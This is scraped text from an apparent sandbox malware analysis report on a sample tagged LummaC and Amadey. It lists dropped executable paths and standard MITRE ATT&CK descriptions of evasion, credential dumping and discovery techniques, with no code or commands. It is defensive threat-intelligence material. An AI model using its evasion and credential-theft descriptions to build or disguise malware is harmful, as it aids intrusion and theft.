Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\9f58fa9406.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe

C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe

C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe

C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe

Windows Analysis Report
file.exe

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre